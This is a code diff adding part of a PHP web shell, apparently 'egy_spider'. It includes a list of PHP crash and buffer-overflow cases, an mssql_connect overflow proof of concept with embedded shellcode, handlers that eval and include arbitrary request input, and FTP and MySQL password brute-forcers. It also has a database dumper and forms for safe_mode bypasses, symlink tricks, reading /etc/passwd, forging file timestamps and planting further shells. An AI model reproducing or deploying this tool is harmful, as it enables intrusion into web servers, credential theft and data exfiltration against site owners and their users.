+ break;
+ case 'dos28':
+ if (extension_loaded("gd")){ $buff = str_repeat("A",9999); $res = imagepsloadfont($buff); echo "boom!!\n";}
+ break;
+ case 'dos29':
+ if(function_exists('msql_connect')){ msql_pconnect(str_repeat('A',49424).'BBBB'); msql_connect(str_repeat('A',49424).'BBBB');}
+ break;
+ case 'dos30':
+ $a=str_repeat("A", 65535); $b=1; $c=str_repeat("A", 65535); chunk_split($a,$b,$c);
+ break;
+ case 'dos31':
+ if (extension_loaded("win32std") ) { win_browse_file( 1, NULL, str_repeat( "\x90", 264 ), NULL, array( "*" => "*.*" ) );}
+ break;
+ case 'dos32':
+ if (extension_loaded( "iisfunc" ) ){ $buf_unicode = str_repeat( "A", 256 ); $eip_unicode = "\x41\x41"; iis_getservicestate( $buf_unicode . $eip_unicode );}
+ break;
+ case 'dos33':
+ $buff = str_repeat("\x41", 250);$get_EIP = "\x42\x42";$get_ESP = str_repeat("\x43", 100);$get_EBP = str_repeat("\x44", 100);ntuser_getuserlist($buff.$get_EIP.$get_ESP.$get_EBP);
+ break;
+ case 'dos34':
+ if (extension_loaded("bz2")){ $buff = str_repeat("a",1000); com_print_typeinfo($buff);}
+ break;
+ case 'dos35':
+ $a = str_repeat("/", 4199000); iconv(1, $a, 1);
+ break;
+ case 'dos36':
+ $a = str_repeat("/", 2991370); iconv_mime_decode_headers(0, 1, $a);
+ break;
+ case 'dos37':
+ $a = str_repeat("/", 3799000); iconv_mime_decode(1, 0, $a);
+ break;
+ case 'dos39':
+ sprintf("[%'A2147483646s]\n", "A");
+ break;
+ break;
+ case 'dos40':
+// PHP <= 4.4.6 mssql_connect() & mssql_pconnect() local buffer overflow
+// poc exploit (and safe_mode bypass)
+// windows 2000 sp3 en / seh overwrite
+// by rgod
+// site: http://egyspider.eu
+
+
+// u can easily adjust for php5
+// this as my little contribute to MOPB
+
+
+$____scode=
+"\xeb\x1b".
+"\x5b".
+"\x31\xc0".
+"\x50".
+"\x31\xc0".
+"\x88\x43\x59".
+"\x53".
+"\xbb\xca\x73\xe9\x77". //WinExec
+"\xff\xd3".
+"\x31\xc0".
+"\x50".
+"\xbb\x5c\xcf\xe9\x77". //ExitProcess
+"\xff\xd3".
+"\xe8\xe0\xff\xff\xff".
+"\x63\x6d\x64".
+"\x2e".
+"\x65".
+"\x78\x65".
+"\x20\x2f".
+"\x63\x20".
+"start notepad & ";
+
+
+ $eip="\xdc\xf5\x12";
+ $____suntzu=str_repeat("\x90",100);
+ $____suntzu.=$____scode;
+ $____suntzu.=str_repeat("a",2460 - strlen($____scode));
+ $____suntzu.=$eip;
+ break;
+ case 'zend':
+ if(empty($_POST['zend'])){
+} else {
+
+
+$dezend=$_POST['zend'];
+include($_POST['zend']);
+print_r($GLOBALS);
+require_once("$dezend");
+echo "</textarea></p>";
+}
+break;
+ case 'dos38':
+ $a = str_repeat("/", 9791999); iconv_strlen(1, $a);
+ break;
+}
+if ($_POST['cmd']=="php_eval"){
+ $eval = @str_replace("<?","",$_POST['php_eval']);
+ $eval = @str_replace("?>","",$eval);
+ @eval($eval);}
+
+
+if ($_POST['cmd']=="ftp_brute")
+ {
+ $suc = 0;
+ if($_POST['brute_method']=='passwd'){
+ foreach($users as $user)
+ {
+ $connection = @ftp_connect($ftp_server,$ftp_port,10);
+ if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
+ else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } }
+ @ftp_close($connection);
+ }
+ }else if(($_POST['brute_method']=='dic') && isset($_POST['ftp_login'])){
+ foreach($users as $user)
+ {
+ $connection = @ftp_connect($ftp_server,$ftp_port,10);
+ if(@ftp_login($connection,$_POST['ftp_login'],$user)) { echo "[+] ".$_POST['ftp_login'].":$user - success\r\n"; $suc++; }
+ @ftp_close($connection);
+ }
+ }
+ echo "\r\n-------------------------------------\r\n";
+ $count = count($users);
+ if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; }
+ echo $lang[$language.'_text97'].$count."\r\n";
+ echo $lang[$language.'_text98'].$suc."\r\n";
+ }
+
+
+if ($_POST['cmd']=="db_brute")
+ {
+ $suc = 0;
+ if($_POST['brute_method']=='passwd'){
+ foreach($users as $user)
+ {
+ $sql = new my_sql();
+ $sql->db = $_POST['db'];
+ $sql->host = $_POST['db_server'];
+ $sql->port = $_POST['db_port'];
+ $sql->user = $user;
+ $sql->pass = $user;
+ if($sql->connect()) { echo "[+] $user:$user - success\r\n"; $suc++; }
+ }
+ if(isset($_POST['reverse']))
+ {
+ foreach($users as $user)
+ {
+ $sql = new my_sql();
+ $sql->db = $_POST['db'];
+ $sql->host = $_POST['db_server'];
+ $sql->port = $_POST['db_port'];
+ $sql->user = $user;
+ $sql->pass = strrev($user);
+ if($sql->connect()) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; }
+ }
+ }
+ }else if(($_POST['brute_method']=='dic') && isset($_POST['mysql_l'])){
+ foreach($users as $user)
+ {
+ $sql = new my_sql();
+ $sql->db = $_POST['db'];
+ $sql->host = $_POST['db_server'];
+ $sql->port = $_POST['db_port'];
+ $sql->user = $_POST['mysql_l'];
+ $sql->pass = $user;
+ if($sql->connect()) { echo "[+] ".$_POST['mysql_l'].":$user - success\r\n"; $suc++; }
+ }
+ }
+ echo "\r\n-------------------------------------\r\n";
+ $count = count($users);
+ if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; }
+ echo $lang[$language.'_text97'].$count."\r\n";
+ echo $lang[$language.'_text98'].$suc."\r\n";
+ }
+
+
+if ($_POST['cmd']=="mysql_dump")
+ {
+ if(isset($_POST['dif'])) { morewrite($_POST['dif_name'], "mysql_dump\r\n"); }
+ $sql = new my_sql();
+ $sql->db = $_POST['db'];
+ $sql->host = $_POST['db_server'];
+ $sql->port = $_POST['db_port'];
+ $sql->user = $_POST['mysql_l'];
+ $sql->pass = $_POST['mysql_p'];
+ $sql->base = $_POST['mysql_db'];
+ if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; }
+ else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; }
+ else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; }
+ else {
+ if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; }
+ else if(@is_writable($_POST['dif_name'])){ foreach($sql->dump as $v){ morewrite($_POST['dif_name'], $v."\r\n");} }
+ else { echo "[-] ERROR! Can't write in dump file"; }
+ }
+ }
+
+
+echo "</textarea></div>";
+echo "</b>";
+echo "</td></tr></table>";
+echo "<table width=100% cellpadding=0 cellspacing=0>";
+
+
+function div_title($title, $id)
+{
+ return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>';
+}
+function div($id)
+ {
+ if(isset($_COOKIE[$id]) && ($_COOKIE[$id]==0)) return '<div id="'.$id.'" style="display: none;">';
+ $divid=array('id5','id6','id8','id9','id10','id11','id16','id24','id25','id26','id27','id28','id29','id33','id34','id35','id37','id38','id39');
+ if(empty($_COOKIE[$id]) && @in_array($id,$divid)) return '<div id="'.$id.'" style="display: none;">';
+ return '<div id="'.$id.'">';
+ }
+
+if(!$safe_mode){
+echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts;
+echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,''));
+echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.'</div>'.$table_end1.$fe;
+}
+else{
+echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts;
+echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
+echo $te.'</div>'.$table_end1.$fe;
+}
+echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts;
+echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
+echo $te.'</div>'.$table_end1.$fe;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+echo $fs.$table_up1.div_title($lang[$language.'_text210'],'id20').$table_up2.div('id20').$ts;
+echo "<table class=table1 width=100% align=center>";
+echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','zend',85,(!empty($_POST['zend'])?($_POST['zend']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'zend').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.'</div>'.$table_end1.$fe;
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts;
+echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
+echo $te.'</div>'.$table_end1.$fe;
+}
+
+
+if($unix && @function_exists('touch')){
+echo $fs.$table_up1.div_title($lang[$language.'_text128'],'id5').$table_up2.div('id5').$ts;
+echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','file_name',40,(!empty($_POST['file_name'])?($_POST['file_name']):($_SERVER["SCRIPT_FILENAME"])))
+.ws(4)."<b>".$lang[$language.'_text26'].ws(2).$lang[$language.'_text59'].$arrow."</b>"
+.ws(2).in('text','file_name_r',40,(!empty($_POST['file_name_r'])?($_POST['file_name_r']):(""))));
+echo sr(15,"<b> or set Day".$arrow."</b>",
+'
+<select name="day" size="1">
+<option value="01">1</option>
+<option value="02">2</option>
+<option value="03">3</option>
+<option value="04">4</option>
+<option value="05">5</option>
+<option value="06">6</option>
+<option value="07">7</option>
+<option value="08">8</option>
+<option value="09">9</option>
+<option value="10">10</option>
+<option value="11">11</option>
+<option value="12">12</option>
+<option value="13">13</option>
+<option value="14">14</option>
+<option value="15">15</option>
+<option value="16">16</option>
+<option value="17">17</option>
+<option value="18">18</option>
+<option value="19">19</option>
+<option value="20">20</option>
+<option value="21">21</option>
+<option value="22">22</option>
+<option value="23">23</option>
+<option value="24">24</option>
+<option value="25">25</option>
+<option value="26">26</option>
+<option value="27">27</option>
+<option value="28">28</option>
+<option value="29">29</option>
+<option value="30">30</option>
+<option value="31">31</option>
+</select>'
+.ws(4)."<b>Month".$arrow."</b>"
+.'
+<select name="month" size="1">
+<option value="January">January</option>
+<option value="February">February</option>
+<option value="March">March</option>
+<option value="April">April</option>
+<option value="May">May</option>
+<option value="June">June</option>
+<option value="July">July</option>
+<option value="August">August</option>
+<option value="September">September</option>
+<option value="October">October</option>
+<option value="November">November</option>
+<option value="December">December</option>
+</select>'
+.ws(4)."<b>Year".$arrow."</b>"
+.'
+<select name="year" size="1">
+<option value="1998">1998</option>
+<option value="1999">1999</option>
+<option value="2000">2000</option>
+<option value="2001">2001</option>
+<option value="2002">2002</option>
+<option value="2003">2003</option>
+<option value="2004">2004</option>
+<option value="2005">2005</option>
+<option value="2006">2006</option>
+<option value="2006">2007</option>
+<option value="2006">2008</option>
+<option value="2006">2009</option>
+<option value="2006">2010</option>
+</select>'
+.ws(4)."<b>Hour".$arrow."</b>"
+.'
+<select name="chasi" size="1">
+<option value="01">01</option>
+<option value="02">02</option>
+<option value="03">03</option>
+<option value="04">04</option>
+<option value="05">05</option>
+<option value="06">06</option>
+<option value="07">07</option>
+<option value="08">08</option>
+<option value="09">09</option>
+<option value="10">10</option>
+<option value="11">11</option>
+<option value="12">12</option>
+<option value="13">13</option>
+<option value="14">14</option>
+<option value="15">15</option>
+<option value="16">16</option>
+<option value="17">17</option>
+<option value="18">18</option>
+<option value="19">19</option>
+<option value="20">20</option>
+<option value="21">21</option>
+<option value="22">22</option>
+<option value="23">23</option>
+<option value="24">24</option>
+</select>'
+.ws(4)."<b>Minute".$arrow."</b>"
+.'
+<select name="minutes" size="1">
+<option value="01">1</option>
+<option value="02">2</option>
+<option value="03">3</option>
+<option value="04">4</option>
+<option value="05">5</option>
+<option value="06">6</option>
+<option value="07">7</option>
+<option value="08">8</option>
+<option value="09">9</option>
+<option value="10">10</option>
+<option value="11">11</option>
+<option value="12">12</option>
+<option value="13">13</option>
+<option value="14">14</option>
+<option value="15">15</option>
+<option value="16">16</option>
+<option value="17">17</option>
+<option value="18">18</option>
+<option value="19">19</option>
+<option value="20">20</option>
+<option value="21">21</option>
+<option value="22">22</option>
+<option value="23">23</option>
+<option value="24">24</option>
+<option value="25">25</option>
+<option value="26">26</option>
+<option value="27">27</option>
+<option value="28">28</option>
+<option value="29">29</option>
+<option value="30">30</option>
+<option value="31">31</option>
+<option value="32">32</option>
+<option value="33">33</option>
+<option value="34">34</option>
+<option value="35">35</option>
+<option value="36">36</option>
+<option value="37">37</option>
+<option value="38">38</option>
+<option value="39">39</option>
+<option value="40">40</option>
+<option value="41">41</option>
+<option value="42">42</option>
+<option value="43">43</option>
+<option value="44">44</option>
+<option value="45">45</option>
+<option value="46">46</option>
+<option value="47">47</option>
+<option value="48">48</option>
+<option value="49">49</option>
+<option value="50">50</option>
+<option value="51">51</option>
+<option value="52">52</option>
+<option value="53">53</option>
+<option value="54">54</option>
+<option value="55">55</option>
+<option value="56">56</option>
+<option value="57">57</option>
+<option value="58">58</option>
+<option value="59">59</option>
+</select>'
+.ws(4)."<b>Second".$arrow."</b>"
+.'
+<select name="second" size="1">
+<option value="01">1</option>
+<option value="02">2</option>
+<option value="03">3</option>
+<option value="04">4</option>
+<option value="05">5</option>
+<option value="06">6</option>
+<option value="07">7</option>
+<option value="08">8</option>
+<option value="09">9</option>
+<option value="10">10</option>
+<option value="11">11</option>
+<option value="12">12</option>
+<option value="13">13</option>
+<option value="14">14</option>
+<option value="15">15</option>
+<option value="16">16</option>
+<option value="17">17</option>
+<option value="18">18</option>
+<option value="19">19</option>
+<option value="20">20</option>
+<option value="21">21</option>
+<option value="22">22</option>
+<option value="23">23</option>
+<option value="24">24</option>
+<option value="25">25</option>
+<option value="26">26</option>
+<option value="27">27</option>
+<option value="28">28</option>
+<option value="29">29</option>
+<option value="30">30</option>
+<option value="31">31</option>
+<option value="32">32</option>
+<option value="33">33</option>
+<option value="34">34</option>
+<option value="35">35</option>
+<option value="36">36</option>
+<option value="37">37</option>
+<option value="38">38</option>
+<option value="39">39</option>
+<option value="40">40</option>
+<option value="41">41</option>
+<option value="42">42</option>
+<option value="43">43</option>
+<option value="44">44</option>
+<option value="45">45</option>
+<option value="46">46</option>
+<option value="47">47</option>
+<option value="48">48</option>
+<option value="49">49</option>
+<option value="50">50</option>
+<option value="51">51</option>
+<option value="52">52</option>
+<option value="53">53</option>
+<option value="54">54</option>
+<option value="55">55</option>
+<option value="56">56</option>
+<option value="57">57</option>
+<option value="58">58</option>
+<option value="59">59</option>
+</select>'
+.in('hidden','cmd',0,'touch')
+.in('hidden','dir',0,$dir)
+.ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.'</div>'.$table_end1.$fe;
+}
+
+
+$select='';
+if(@function_exists('chmod')){$select .= "<option value=mod>CHMOD</option>";}
+if(@function_exists('chown')){$select .= "<option value=own>CHOWN</option>";}
+if(@function_exists('chgrp')){$select .= "<option value=grp>CHGRP</option>";}
+if($unix && $select){
+echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id6').$table_up2.div('id6').$ts;
+echo @sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','param1',55,(($_POST['param1'])?($_POST['param1']):($_SERVER["SCRIPT_FILENAME"]))).ws(2)."<b>".$lang[$language.'_text68'].$arrow."</b>"."<select name=what>".$select."</select>".ws(4).in('text','param2 title="'.$lang[$language.'_text71'].'"',10,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.'</div>'.$table_end1.$fe;
+}
+
+
+if(!$safe_mode){
+$aliases2 = '';
+foreach ($aliases as $alias_name=>$alias_cmd)
+ {
+ $aliases2 .= "<option>$alias_name</option>";
+ }
+echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id5555').$table_up2.div('id5555').$ts;
+echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.'</div>'.$table_end1.$fe;
+}
+
+
+echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id50').$table_up2.div('id50').$ts;
+echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
+echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;$tempdir )");
+echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
+echo $te.'</div>'.$table_end1.$fe;
+
+
+if(!$safe_mode && $unix){
+echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id9').$table_up2.div('id9').$ts;
+echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
+echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;$tempdir )");
+echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
+echo $te.'</div>'.$table_end1.$fe;
+}
+
+
+echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id800').$table_up2.$font;
+echo "<div align=center>".div('id800')."<textarea name=php_eval cols=100 rows=10>";
+echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("//unlink(\"egy_spider.php\");\r\n//readfile(\"/etc/passwd\");\r\n//file_get_content(\"/etc/passwd\");"));
+echo "</textarea>";
+echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
+echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
+echo "</div></div></font>";
+echo $table_end1.$fe;
+
+
+echo $fs.$table_up1.div_title($lang[$language.'_text200'],'id520').$table_up2.div('id520').$ts;
+echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','snn',85,'/etc/passwd').in('hidden','cmd',0,'copy').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
+echo $te.'</div>'.$table_end1.$fe;
+echo $fs.$table_up1.div_title($lang[$language.'_text300'],'id500').$table_up2.div('id500').$ts;
+echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','SnIpEr_SA',85,'/etc/passwd').in('hidden','cmd',0,'cURL').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
+echo $te.'</div>'.$table_end1.$fe;
+echo $fs.$table_up1.div_title($lang[$language.'_text203'],'id510').$table_up2.div('id510').$ts;
+echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>",in('text','ini_restore',85,'/etc/passwd').in('hidden','cmd',0,'ini_restore').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
+echo $te.'</div>'.$table_end1.$fe;
+echo $fs.$table_up1.div_title($lang[$language.'_text224'],'id800').$table_up2.div('id800').$ts;
+echo sr(15,"<b>".$lang[$language.'_text202'].$arrow."</b>","<select size=\"1\" name=\"plugin\"><option value=\"plugin\">/etc/passwd</option></option></select>".in('hidden','cmd',0,'plugin').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
+echo $te.'</div>'.$table_end1.$fe;
+echo $fs.$table_up1.div_title($lang[$language.'_text220'],'id900').$table_up2.div('id900').$ts;
+echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','sym1p2',50,(!empty($_POST['sym1p2'])?($_POST['sym1p']):("/../../../"))).in('text','sym1p',50,(!empty($_POST['sym1p'])?($_POST['sym1p']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'sym1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.'</div>'.$table_end1.$fe;
+echo $fs.$table_up1.div_title($lang[$language.'_text222'],'id980').$table_up2.div('id980').$ts;
+echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'sym2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.'</div>'.$table_end1.$fe;
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text204'],'id23').$table_up2.div('id23').$ts;
+echo sr(15,"<b>".$lang[$language.'_text205'].$arrow."</b>",in('text','log',96,(!empty($_POST['log'])?($_POST['log']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'Paralyzing been planted and you can usefilename.php?ss=http://shell.txt?').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
+echo $te.'</div>'.$table_end1.$fe;
+echo $fs.$table_up1.div_title($lang[$language.'_text207'],'id801').$table_up2.div('id801').$ts;
+echo sr(15,"<b>".$lang[$language.'_text206'].$arrow."</b>",in('text','glob',85,'/etc/').in('hidden','cmd',0,'glob').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
+echo $te.'</div>'.$table_end1.$fe;
+echo $fs.$table_up1.div_title($lang[$language.'_text209'],'id5505').$table_up2.div('id5505').$ts;
+echo sr(15,"<b>".$lang[$language.'_text206'].$arrow."</b>",in('text','root',85,'/etc/').in('hidden','cmd',0,'root').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
+echo $te.'</div>'.$table_end1.$fe;
+echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts;
+echo "<table class=table1 width=100% align=center>";
+echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.'</div>'.$table_end1.$fe;
+}
+
+
+
+
+
+
+echo $fs.$table_up1.div_title($lang[$language.'_text151'],'id1221').$table_up2.div('id1221').$ts;
+echo "<table class=table1 width=100% align=center>";
+echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test_5_2_6',85,(!empty($_POST['test_5_2_6'])?($_POST['test_5_2_6']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test_5_2_6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.'</div>'.$table_end1.$fe;
+
+
+echo $fs.$table_up1.div_title($lang[$language.'_text161'],'id12211').$table_up2.div('id12211').$ts;
+echo "<table class=table1 width=100% align=center>";
+echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_5_2_6',85,(!empty($_POST['test2_5_2_6'])?($_POST['test2_5_2_6']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2_5_2_6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.'</div>'.$table_end1.$fe;
+
+
+
+
+
+
+
+
+
+
+echo $fs.$table_up1.div_title($lang[$language.'_text162'],'id9820').$table_up2.div('id9820').$ts;
+echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'test_5_2_4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.'</div>'.$table_end1.$fe;
+
+
+
+
+echo $fs.$table_up1.div_title($lang[$language.'_text163'],'id9820').$table_up2.div('id9820').$ts;
+echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'egy_perl').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.'</div>'.$table_end1.$fe;
+
+
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id12').$table_up2.div('id12').$ts;
+echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.'</div>'.$table_end1.$fe;
+}
+
+
+
+
+
+
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text144'],'id40').$table_up2.div('id40').$ts;
+echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test19_md',15,(!empty($_POST['test19_md'])?($_POST['test19_md']):("mysqli"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test19_ml',15,(!empty($_POST['test19_ml'])?($_POST['test19_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text39'].$arrow."</b>".in('text','test19_mp',15,(!empty($_POST['test19_mp'])?($_POST['test19_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test19_port',15,(!empty($_POST['test19_port'])?($_POST['test19_port']):("3306"))));
+echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test19_file',96,(!empty($_POST['test19_file'])?($_POST['test19_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test19').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.'</div>'.$table_end1.$fe;
+}
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id14').$table_up2.div('id14').$ts;
+echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
+echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.'</div>'.$table_end1.$fe;
+}
+
+
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id15').$table_up2.div('id15').$ts;
+echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.'</div>'.$table_end1.$fe;
+}
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id13').$table_up2.div('id13').$ts;
+echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.'</div>'.$table_end1.$fe;
+}
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id21').$table_up2.div('id21').$ts;
+echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.'</div>'.$table_end1.$fe;
+}
+
+
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text170'],'id2221').$table_up2.div('id2221').$ts;
+echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','egy_4_2_0',96,(!empty($_POST['egy_4_2_0'])?($_POST['egy_4_2_0']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'egy_4_2_0').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.'</div>'.$table_end1.$fe;
+}
+
+
+
+
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id22').$table_up2.div('id22').$ts;
